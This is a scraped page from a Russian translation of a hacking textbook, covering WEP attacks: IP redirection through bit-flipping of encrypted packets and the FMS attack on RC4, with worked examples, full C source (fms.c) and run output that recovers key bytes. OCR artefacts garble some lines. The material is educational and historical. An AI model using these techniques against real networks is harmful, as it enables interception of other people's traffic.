Главная страница
Навигация по странице:

  • IP отправителя = 192.168.2.57 S H = 192 × 256 + 168 = 50 344 S L = 2 × 256 + 57 = 569IP получателя = 192.168.2.1

  • 0x785 Атака Флурера-Мантина-Шамира (FMS)

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница49 из 51
    1   ...   43   44   45   46   47   48   49   50   51

    487
    0x784 Переадресация IP
    Другой способ дешифровать зашифрованные пакеты – заставить точ- ку доступа саму выполнить всю работу. Обычно точки доступа беспро- водной связи имеют в том или ином виде доступ к Интернету, и в та- ких случаях возможна атака с помощью переадресации IP. Перехва- тывается зашифрованный пакет, и адрес получателя в нем изменяет- ся на IP-адрес, которым управляет атакующий, без всякого дешифро- вания пакетов. Модифицированный пакет отправляется обратно точке доступа, которая расшифрует его и отправит на IP-адрес атакующего.
    Модификация пакета возможна потому, что контрольная сумма вы- числяется с помощью функции CRC32 – линейной и бесключевой. Бла- годаря этому пакет можно модифицировать так, что контрольная сум- ма сохранится.
    Успешность этой атаки также требует знания IP-адресов отправителя и получателя. Эту информацию легко получить, основываясь на стан- дартных схемах IP-адресации во внутренних сетях. Определить адреса можно также благодаря случаям повторного использования ключево- го потока при коллизиях IV.
    Как только становится известным IP-адрес получателя, его величина поразрядно XOR-складывается с нужным IP-адресом, и эта сумма по- разрядно XOR-складывается с определенным участком зашифрован- ного пакета. В результате сложения аннулируется IP-адрес получа- теля и остается сумма адреса атакующего и ключевого потока. Чтобы контрольная сумма осталась неизменной, надо особым образом моди- фицировать IP-адрес отправителя.
    Допустим, адрес отправителя – 192.168.2.57, а адрес получателя –
    192.168.2.1. Атакующий владеет адресом 123.45.67.89 и хочет пере- адресовать туда трафик. Эти IP-адреса задаются в пакете в двоичном виде как старшее и младшее 16-разрядные слова. Преобразования весьма просты:
    IP отправителя = 192.168.2.57
    S
    H
    = 192 × 256 + 168 = 50 344
    S
    L
    = 2 × 256 + 57 = 569
    IP получателя = 192.168.2.1
    D
    H
    = 192 × 256 + 168 = 50 344
    D
    L
    = 2 × 256 + 1 = 513
    Новый IP = 123.45.67.89
    N
    H
    = 123 × 256 + 45 = 31 533
    N
    L
    = 67 × 256 + 89 = 17 241
    Контрольная сумма изменится на N
    H
    + N
    L
    – D
    H
    – D
    L
    , поэтому ее следу- ет вычесть из определенного места в пакете. Поскольку известен адрес

    488
    0x700 Криптология отправителя, который не имеет особого значения, можно взять млад- шее 16-разрядное слово из этого адреса:
    S’
    L
    = S
    L
    – (N
    H
    + N
    L
    D
    H
    D
    L
    )
    S’
    L
    = 569 – (31 533 + 17 241 – 50 344 – 513)
    S’
    L
    = 2652
    Следовательно, новым IP-адресом отправителя становится 192.168.
    10.92. Адрес отправителя в зашифрованном пакете можно модифици- ровать с помощью того же приема с XOR, после чего контрольные сум- мы должны совпасть. После отправки пакета в точку беспроводного до- ступа он будет расшифрован и направлен в 123.45.67.89, где его может взять атакующий.
    Если атакующий имеет возможность управлять пакетами во всей сети класса B, не надо даже модифицировать адрес отправителя. Если пред- положить, что он управляет всем диапазоном адресов 123.45.X.X, то можно выбрать младшее 16-разрядное слово IP-адреса так, что не при- дется изменять контрольную сумму. Если N
    L
    = D
    H
    + D
    L
    – N
    H
    , то кон- трольная сумма не изменится. Например:
    N
    L
    = D
    H
    + D
    L
    N
    H
    N
    L
    = 50 344 + 513 – 31 533
    N’
    L
    = 82 390
    Новым IP-адресом получателя будет 123.45.75.124.
    0x785 Атака Флурера-Мантина-Шамира (FMS)
    Атака Флурера-Мантина-Шамира (Fluhrer-Mantin-Shamir), или FMS- атака, чаще всего применяется против WEP и стала популярной бла- годаря таким средствам, как AirSnort. Это совершенно поразитель- ная атака. Она основана на слабости алгоритма развертывания ключей в RC4 и использовании IV.
    Есть слабые значения IV, из-за которых информация о секретном клю- че попадает в первый байт ключевого потока. Поскольку один и тот же ключ многократно используется с разными IV, собрав достаточное ко- личество пакетов со слабыми IV и зная первый байт ключевого потока, можно определить ключ. Удачно, что первый байт пакета 802.11b – это
    SNAP-заголовок, который почти всегда равен 0xAA. Это означает, что первый байт ключевого потока легко получить, поразрядно прибавив к первому зашифрованному байту 0xAA.
    Теперь надо найти слабые IV. Размер IV в WEP составляет 24 бита, или три байта. Слабые IV имеют вид (A + 3, N – 1, X), где A – это номер взла- мываемого байта ключа, N = 256 (потому что RC4 действует по модулю
    256), а X может принимать любое значение. Таким образом, для взло- ма нулевого байта ключевого потока используются 256 слабых IV вида
    (3, 255, X), где X находится в диапазоне от 0 до 255. Байты ключа надо

    0x780 Атаки на WEP
    489
    взламывать по порядку, то есть первый байт нельзя взломать, пока не станет известен нулевой.
    Собственно алгоритм взлома довольно прост. Сначала он проходит
    A + 3 шагов алгоритма развертывания ключа (KSA). Это можно сде- лать, не зная ключа, потому что IV занимает первые три байта масси- ва K. Если известен нулевой байт ключа и A = 1, то KSA можно продол- жить, выполнив четвертый шаг, потому что станут известны первые четыре байта массива K.
    Если в результате на последнем шаге будут изменены S[0] или S[1], вся попытка прекращается. Проще говоря, попытку следует прекра- тить, если j окажется меньше 2. В противном случае берем значения j и S[A + 3] и вычитаем их из первого байта ключевого потока, разуме- ется, по модулю 256. Полученное значение будет верным байтом клю- ча примерно в 5% случаев и фактически случайным в остальных 95%.
    Если взять достаточное количество слабых IV (с разными значения- ми X), можно правильно определить байт ключа. Чтобы вероятность определения превысила 50%, достаточно иметь около 60 IV. Опреде- лив байт ключа, всю процедуру надо повторить для определения сле- дующего байта, и так пока не будет взломан весь ключ.
    В иллюстративных целях мы масштабируем RC4, сделав N равным 16, а не 256. Это значит, что операции будут выполняться по модулю 16, а не 256, и все массивы будут из 16 «байт» по 4 бита вместо 256 настоя- щих байт.
    Предположим, что ключ равен (1, 2, 3, 4, 5) и взламывается нулевой байт ключа, то есть A = 0. Тогда слабые IV будут иметь вид (3, 15, X).
    В данном примере X = 2, поэтому начальное значение – (3, 15, 2, 1, 2,
    3, 4, 5). Исходя из этого значения первым байтом выходного ключево- го потока станет 9.
    Выход = 9
    A = 0
    IV = 3, 15, 2
    Ключ = 1, 2, 3, 4, 5
    Начальное значение = конкатенация IV и ключа
    K[ ] = 3 15 2 X X X X X 3 15 2 X X X X X
    S[ ] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
    Поскольку ключ в данный момент неизвестен, в массив K записывает- ся то, что известно, а в массив S – последовательные числа от 0 до 15.
    Затем j присваивается начальное значение 0 и выполняются три пер- вые шага KSA. Напомним, что все вычисления выполняются по моду- лю 16.

    490
    0x700 Криптология
    KSA, шаг первый:
    i = 0
    j = j + S[i] + K[i]
    j = 0 + 0 + 3 = 3
    Поменять местами S[i] и S[j]
    K[ ] = 3 15 2 X X X X X 3 15 2 X X X X X
    S[ ] = 3 1 2 0 4 5 6 7 8 9 10 11 12 13 14 15
    KSA, шаг второй:
    i = 1
    j = j + S[i]+ K[i]
    j = 3 + 1 + 15 = 3
    Поменять местами S[iS[j]
    K[ ] = 3 15 2 X X X X X 3 15 2 X X X X X
    S[ ] = 3 0 2 1 4 5 6 7 8 9 10 11 12 13 14 15
    KSA, шаг третий:
    i = 2
    j = j + S[i] + K[i]
    j = 3 + 2 + 2 = 7
    Поменять местами S[i] и S[j]
    K[ ] = 3 15 2 X X X X X 3 15 2 X X X X X
    S[ ] = 3 0 7 1 4 5 6 2 8 9 10 11 12 13 14 15
    Полученное j не меньше 2, поэтому можно продолжить процедуру.
    S[3] = 1, j = 7, и первый байт ключевого потока равен 9. Поэтому нуле- вой байт ключа должен быть равен 9 – 7 – 1 = 1.
    Исходя из этих данных можно определить следующий байт ключа, выбирая IV вида (4, 15, X) и прокручивая KSA через четвертый шаг.
    Пусть IV равен (4, 15, 9), а первый байт ключевого потока – 6.
    Выход = 6
    A = 0
    IV = 4, 15,9
    Ключ = 1, 2, 3, 4, 5
    Начальное значение = конкатенация IV и ключа
    K[ ] = 4 15 9 1 X X X X 4 15 9 1 X X X X
    S[ ] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

    0x780 Атаки на WEP
    491
    KSA, шаг первый:
    i = 0
    j = j + S[i] + K[i]
    j = 0 + 0 + 4 = 4
    Поменять местами S[i] и S[j]
    K[ ] = 4 15 9 1 X X X X 4 15 9 1 X X X X
    S[ ] = 4 1 2 3 0 5 6 7 8 9 10 11 12 13 14 15
    KSA, шаг второй:
    i = 1
    j = j + S[i]+ K[i]
    j = 4 + 1 + 15 = 4
    Поменять местами S[iS[j]
    K[ ] = 4 15 9 1 X X X X 4 15 9 1 X X X X
    S[ ] = 4 0 2 3 1 5 6 7 8 9 10 11 12 13 14 15
    KSA, шаг третий:
    i = 2
    j = j + S[i] + K[i]
    j = 4 + 2 + 9 = 15
    Поменять местами S[i] и S[j]
    K[ ] = 4 15 9 1 X X X X 4 15 9 1 X X X X
    S[ ] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2
    KSA, шаг четвертый:
    i = 3
    j = j + S[i] + K[i]
    j = 15+ 3 + 1 = 3
    Поменять местами S[i] и
    S[j]
    K[ ] = 4 15 9 1 X X X X 4 15 9 1 X X X X
    S[ ] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2
    Выход – jS[4] = key[1]
    6 – 3 – 1 =2
    И снова правильно определен байт ключа. Конечно, для наглядности значения X были специально подобраны. Получить подлинное пред- ставление о статистическом характере атаки полной реализации RC4 можно из следующего исходного кода.

    492
    0x700 Криптология
    fms.c
    #include
    /* Поточный шифр RC4 */
    int RC4(int *IV, int *key) {
    int K[256];
    int S[256];
    int seed[16];
    int i, j, k, t;
    // Начальное заполнение = IV + ключ;
    for(k=0; k<3; k++)
    seed[k] = IV[k];
    for(k=0; k<13; k++)
    seed[k+3] = key[k];
    // -= Алгоритм развертывания ключей (KSA) =-
    // Инициализация массивов.
    for(k=0; k<256; k++) {
    S[k] = k;
    K[k] = seed[k%16];
    }
    j=0;
    for(i=0; i < 256; i++) {
    j = (j + S[i] + K[i])%256;
    t=S[i]; S[i]=S[j]; S[j]=t; // Поменять местами(S[i], S[j]);
    }
    // Первый этап PRGA для первого байта ключевого потока i = 0;
    j = 0;
    i = i + 1;
    j = j + S[i];
    t=S[i]; S[i]=S[j]; S[j]=t; // Поменять местами(S[i], S[j]);
    k = (S[i] + S[j])%256;
    return S[k];
    }
    int main(int argc, char *argv[]) {
    int K[256];
    int S[256];
    int IV[3];
    int key[13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213};
    int seed[16];

    0x780 Атаки на WEP
    493
    int N = 256;
    int i, j, k, t, x, A;
    int keystream, keybyte;
    int max_result, max_count;
    int results[256];
    int known_j, known_S;
    if(argc < 2) {
    printf(“Usage: %s \n”, argv[0]);
    exit(0);
    }
    A = atoi(argv[1]);
    if((A > 12) || (A < 0)) {
    printf(“keybyte must be from 0 to 12.\n”);
    exit(0);
    }
    for(k=0; k < 256; k++)
    results[k] = 0;
    IV[0] = A + 3;
    IV[1] = N - 1;
    for(x=0; x < 256; x++) {
    IV[2] = x;
    keystream = RC4(IV, key);
    printf(“Using IV: (%d, %d, %d), first keystream byte is %u\n”,
    IV[0], IV[1], IV[2], keystream);
    printf(“Doing the first %d steps of KSA.. “, A+3);
    // Начальное заполнение = IV + ключ;
    for(k=0; k<3; k++)
    seed[k] = IV[k];
    for(k=0; k<13; k++)
    seed[k+3] = key[k];
    // -= Алгоритм развертывания ключей (KSA) =-
    // Инициализация массивов.
    for(k=0; k<256; k++) {
    S[k] = k;
    K[k] = seed[k%16];
    }
    j=0;
    for(i=0; i < (A + 3); i++) {
    j = (j + S[i] + K[i])%256;
    t = S[i];

    494
    0x700 Криптология
    S[i] = S[j];
    S[j] = t;
    }
    if(j < 2) { // Если j < 2, то S[0] или S[1] изменилось.
    printf(“S[0] or S[1] have been disturbed, discarding..\n”);
    } else {
    known_j = j;
    known_S = S[A+3];
    printf(“at KSA iteration #%d, j=%d and S[%d]=%d\n”,
    A+3, known_j, A+3, known_S);
    keybyte = keystream - known_j - known_S;
    while(keybyte < 0)
    keybyte = keybyte + 256;
    printf(“key[%d] prediction = %d - %d - %d = %d\n”,
    A, keystream, known_j, known_S, keybyte);
    results[keybyte] = results[keybyte] + 1;
    }
    }
    max_result = -1;
    max_count = 0;
    for(k=0; k < 256; k++) {
    if(max_count < results[k]) {
    max_count = results[k];
    max_result = k;
    }
    }
    printf(“\nFrequency table for key[%d] (* = most frequent)\n”, A);
    for(k=0; k < 32; k++) {
    for(i=0; i < 8; i++) {
    t = k+i*32;
    if(max_result == t)
    printf(“%3d %2d*| “, t, results[t]);
    else printf(“%3d %2d | “, t, results[t]);
    }
    printf(“\n”);
    }
    printf(“\n[Actual Key] = (“);
    for(k=0; k < 12; k++)
    printf(“%d, “,key[k]);
    printf(“%d)\n”, key[12]);
    printf(“key[%d] is probably %d\n”, A, max_result);
    }
    Этот код осуществляет FMS-атаку на 128-разрядный WEP (104-разряд- ный ключ, 24 бита IV), используя все возможные значения X. Един-

    0x780 Атаки на WEP
    495
    ственный аргумент – атакуемый байт ключа, а сам ключ жестко зашит в массиве key. Следующий листинг показывает компиляцию и выпол- нение кода fms.c для взлома ключа RC4.
    reader@hacking:

    /booksrc $ gcc -o fms fms.c reader@hacking:/booksrc $ ./fms
    Usage: ./fms
    reader@hacking:/booksrc $ ./fms 0
    Using IV: (3, 255, 0), first keystream byte is 7
    Doing the first 3 steps of KSA.. at KSA iteration #3, j=5 and S[3]=1
    key[0] prediction = 7 - 5 - 1 = 1
    Using IV: (3, 255, 1), first keystream byte is 211
    Doing the first 3 steps of KSA.. at KSA iteration #3, j=6 and S[3]=1
    key[0] prediction = 211 - 6 - 1 = 204
    Using IV: (3, 255, 2), first keystream byte is 241
    Doing the first 3 steps of KSA.. at KSA iteration #3, j=7 and S[3]=1
    key[0] prediction = 241 - 7 - 1 = 233
    .:[ вывод сокращен ]:.
    Using IV: (3, 255, 252), first keystream byte is 175
    Doing the first 3 steps of KSA.. S[0] or S[1] have been disturbed,
    discarding..
    Using IV: (3, 255, 253), first keystream byte is 149
    Doing the first 3 steps of KSA.. at KSA iteration #3, j=2 and S[3]=1
    key[0] prediction = 149 - 2 - 1 = 146
    Using IV: (3, 255, 254), first keystream byte is 253
    Doing the first 3 steps of KSA.. at KSA iteration #3, j=3 and S[3]=2
    key[0] prediction = 253 - 3 - 2 = 248
    Using IV: (3, 255, 255), first keystream byte is 72
    Doing the first 3 steps of KSA.. at KSA iteration #3, j=4 and S[3]=1
    key[0] prediction = 72 - 4 - 1 = 67
    Frequency table for key[0] (* = most frequent)
    0 1 | 32 3 | 64 0 | 96 1 | 128 2 | 160 0 | 192 1 | 224 3 |
    1 10*
    | 33 0 | 65 1 | 97 0 | 129 1 | 161 1 | 193 1 | 225 0 |
    2 0 | 34 1 | 66 0 | 98 1 | 130 1 | 162 1 | 194 1 | 226 1 |
    3 1 | 35 0 | 67 2 | 99 1 | 131 1 | 163 0 | 195 0 | 227 1 |
    4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 2 | 228 0 |
    5 0 | 37 1 | 69 0 | 101 1 | 133 0 | 165 2 | 197 2 | 229 1 |
    6 0 | 38 0 | 70 1 | 102 3 | 134 2 | 166 1 | 198 1 | 230 2 |
    7 0 | 39 0 | 71 2 | 103 0 | 135 5 | 167 3 | 199 2 | 231 0 |
    8 3 | 40 0 | 72 1 | 104 0 | 136 1 | 168 0 | 200 1 | 232 1 |
    9 1 | 41 0 | 73 0 | 105 0 | 137 2 | 169 1 | 201 3 | 233 2 |
    10 1 | 42 3 | 74 1 | 106 2 | 138 0 | 170 1 | 202 3 | 234 0 |
    11 1 | 43 2 | 75 1 | 107 2 | 139 1 | 171 1 | 203 0 | 235 0 |
    12 0 | 44 1 | 76 0 | 108 0 | 140 2 | 172 1 | 204 1 | 236 1 |
    13 2 | 45 2 | 77 0 | 109 0 | 141 0 | 173 2 | 205 1 | 237 0 |
    14 0 | 46 0 | 78 2 | 110 2 | 142 2 | 174 1 | 206 0 | 238 1 |
    15 0 | 47 3 | 79 1 | 111 2 | 143 1 | 175 0 | 207 1 | 239 1 |
    16 1 | 48 1 | 80 1 | 112 0 | 144 2 | 176 0 | 208 0 | 240 0 |

    496
    0x700 Криптология
    17 0 | 49 0 | 81 1 | 113 1 | 145 1 | 177 1 | 209 0 | 241 1 |
    18 1 | 50 0 | 82 0 | 114 0 | 146 4 | 178 1 | 210 1 | 242 0 |
    19 2 | 51 0 | 83 0 | 115 0 | 147 1 | 179 0 | 211 1 | 243 0 |
    20 3 | 52 0 | 84 3 | 116 1 | 148 2 | 180 2 | 212 2 | 244 3 |
    21 0 | 53 0 | 85 1 | 117 2 | 149 2 | 181 1 | 213 0 | 245 1 |
    22 0 | 54 3 | 86 3 | 118 0 | 150 2 | 182 2 | 214 0 | 246 3 |
    23 2 | 55 0 | 87 0 | 119 2 | 151 2 | 183 1 | 215 1 | 247 2 |
    24 1 | 56 2 | 88 3 | 120 1 | 152 2 | 184 1 | 216 0 | 248 2 |
    25 2 | 57 2 | 89 0 | 121 1 | 153 2 | 185 0 | 217 1 | 249 3 |
    26 0 | 58 0 | 90 0 | 122 0 | 154 1 | 186 1 | 218 0 | 250 1 |
    27 0 | 59 2 | 91 1 | 123 3 | 155 2 | 187 1 | 219 1 | 251 1 |
    28 2 | 60 1 | 92 1 | 124 0 | 156 0 | 188 0 | 220 0 | 252 3 |
    29 1 | 61 1 | 93 1 | 125 0 | 157 0 | 189 0 | 221 0 | 253 1 |
    30 0 | 62 1 | 94 0 | 126 1 | 158 1 | 190 0 | 222 1 | 254 0 |
    31 0 | 63 0 | 95 1 | 127 0 | 159 0 | 191 0 | 223 0 | 255 0 |
    [Actual Key] = (1, 2, 3, 4, 5, 66, 75, 13, 99, 100, 123, 43, 213)
    key[0] is probably 1
    reader@hacking:/booksrc $
    reader@hacking:/booksrc $ ./fms 12
    Using IV: (15, 255, 0), first keystream byte is 81
    Doing the first 15 steps of KSA.. at KSA iteration #15, j=251 and S[15]=1
    key[12] prediction = 81 - 251 - 1 = 85
    Using IV: (15, 255, 1), first keystream byte is 80
    Doing the first 15 steps of KSA.. at KSA iteration #15, j=252 and S[15]=1
    key[12] prediction = 80 - 252 - 1 = 83
    Using IV: (15, 255, 2), first keystream byte is 159
    Doing the first 15 steps of KSA.. at KSA iteration #15, j=253 and S[15]=1
    key[12] prediction = 159 - 253 - 1 = 161
    .:[ вывод сокращен ]:.
    Using IV: (15, 255, 252), first keystream byte is 238
    Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1
    key[12] prediction = 238 - 236 - 1 = 1
    Using IV: (15, 255, 253), first keystream byte is 197
    Doing the first 15 steps of KSA.. at KSA iteration #15, j=236 and S[15]=1
    key[12] prediction = 197 - 236 - 1 = 216
    Using IV: (15, 255, 254), first keystream byte is 238
    Doing the first 15 steps of KSA.. at KSA iteration #15, j=249 and S[15]=2
    key[12] prediction = 238 - 249 - 2 = 243
    Using IV: (15, 255, 255), first keystream byte is 176
    Doing the first 15 steps of KSA.. at KSA iteration #15, j=250 and S[15]=1
    key[12] prediction = 176 - 250 - 1 = 181
    Frequency table for key[12] (* = most frequent)
    0 1 | 32 0 | 64 2 | 96 0 | 128 1 | 160 1 | 192 0 | 224 2 |
    1 2 | 33 1 | 65 0 | 97 2 | 129 1 | 161 1 | 193 0 | 225 0 |
    2 0 | 34 2 | 66 2 | 98 0 | 130 2 | 162 3 | 194 2 | 226 0 |
    3 2 | 35 0 | 67 2 | 99 2 | 131 0 | 163 1 | 195 0 | 227 5 |
    4 0 | 36 0 | 68 0 | 100 1 | 132 0 | 164 0 | 196 1 | 228 1 |

    0x780 Атаки на WEP
    1   ...   43   44   45   46   47   48   49   50   51


    написать администратору сайта